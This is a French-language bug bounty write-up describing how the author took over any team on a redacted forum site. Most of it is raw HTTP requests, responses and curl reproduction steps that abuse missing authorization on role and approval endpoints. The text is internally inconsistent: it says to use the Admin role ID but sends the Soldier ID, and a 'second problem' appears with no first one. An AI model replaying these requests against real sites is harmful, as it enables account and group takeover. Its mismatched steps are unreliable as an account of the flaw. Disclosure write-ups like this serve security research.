Reprise d'équipe complète

Jan 09 2023
Hare Krishna! Je m'appelle Tuhin Bose (tuhin1729). Je travaille actuellement en tant que consultant en conception CTF chez BugBase.

Hare Krishna! Je m'appelle Tuhin Bose ( tuhin1729 ). Je travaille actuellement en tant que consultant en conception CTF chez BugBase . Dans cet article, je vais partager une de mes découvertes qui m'a permis de reprendre l'équipe de n'importe qui.
Alors sans perdre de temps, passons directement au blog :

Introduction:

Fondamentalement, la cible est un forum où les gens peuvent interagir entre eux, créer une équipe avec d'autres, etc. En analysant la fonctionnalité de l'équipe, j'ai remarqué les points suivants :

  1. Les utilisateurs peuvent créer une équipe.
  2. Tout autre utilisateur peut envoyer une demande pour rejoindre l'équipe avec l'un de ces rôles : soldat, manager et supporter. Cependant, ils ne peuvent pas envoyer de demande pour rejoindre l'équipe en tant qu'administrateur . Chaque rôle a un niveau d'importance différent (un nombre entier compris entre 1 et 10) en fonction des autorisations qu'il est autorisé à exercer dans l'équipe. Par exemple, le rôle supporter a le niveau d'importance 10 (le moins de privilèges) et le rôle admin a le niveau d'importance 1 (le plus de privilèges).
  3. Si l'administrateur de l'équipe approuve la demande d'adhésion à l'équipe d'un utilisateur, il fera partie de cette équipe. Cependant, seul l'administrateur a la permission d'autoriser n'importe qui dans son équipe.

En analysant toutes les requêtes HTTP dans la suite burp, j'ai remarqué une requête qui est chargée de récupérer tous les rôles disponibles :

POST /functions/team-roles-get HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 2
Referer: https://redacted.com/
Origin: https://redacted.com

{}

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 309
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 05:18:59 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}

POST /functions/team-join-post HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 164
Referer: https://redacted.com/
X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g
Origin: https://redacted.com

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}

HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 95
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, OPTIONS, POST, PUT, DELETE
Access-Control-Allow-Origin: https://redacted.com
Date: Sun, 08 Jan 2023 06:37:56 GMT
Server: nginx
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Powered-By: Express
X-Xss-Protection: 1; mode=block

{"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}

Deuxième problème - Approbation de la demande d'adhésion à l'équipe au nom de l'administrateur :

Maintenant, même si nous envoyons à notre équipe une demande d'adhésion pour devenir administrateur de l'équipe, le véritable administrateur n'autorisera pas notre demande car il / elle peut clairement voir le rôle pour lequel nous avons postulé.
Lorsque je me suis connecté au compte administrateur et que j'ai essayé d'approuver une demande d'adhésion à une équipe, j'ai remarqué la requête HTTP suivante :

POST /functions/team-join-response-post HTTP/2
Host: redacted.com
Content-Length: 169
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json; charset=utf-8
Accept: */*
X-Session-Token: 6Y4z0L9p6N1d4O2d8G7w4Q9p4E3o1R3c6K0w0C9h
Origin: https://redacted.com
Referer: https://redacted.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}

B00M ! J'ai rejoint l'équipe en tant qu'administrateur. Maintenant, je peux modifier les détails de l'équipe, afficher et approuver/refuser toutes les autres demandes d'adhésion à l'équipe.

Au cas où vous seriez trop paresseux pour lire les choses ci-dessus, voici une version plus courte :

Étapes à reproduire :

  1. Obtenez l'objectId du rôle Admin :
  2. tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-roles-get --data '{}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":[{"roleName":"Soldier","importance":4,"objectId":"ZwskfB2xQr","__type":"Object","className":"TeamRole"},{"roleName":"Admin","importance":1,"objectId":"QgtliC3yRs","__type":"Object","className":"TeamRole"},{"roleName":"Manager","importance":2,"objectId":"RhvmjD4zSt","__type":"Object","className":"TeamRole"},{"roleName":"Supporter","importance":10,"objectId":"ViuokE5aTu","__type":"Object","className":"TeamRole"}]}
    

    tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"role":{"__type":"Pointer","className":"TeamRole","objectId":"ZwskfB2xQr"},"message":"1234"}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":{"awaitingApproval":true,"message":"1234","objectId":"GfqdcC7cqA","__type":"Object","className":"TeamMember"}}
    

    tuhin1729@kali:~$ curl -XPOST https://redacted.com/functions/team-join-response-post --data '{"team":{"__type":"Pointer","className":"Team","objectId":"MdpcbB6bpz"},"member":{"__type":"Pointer","className":"TeamMember","objectId":"GfqdcC7cqA"},"isApproved":true}' -H 'X-Session-Token: 5X3y9K8o5M0x3N1c7F6v3P8o3D2n0Q2b5J9v9B8g'
    
    {"result":true}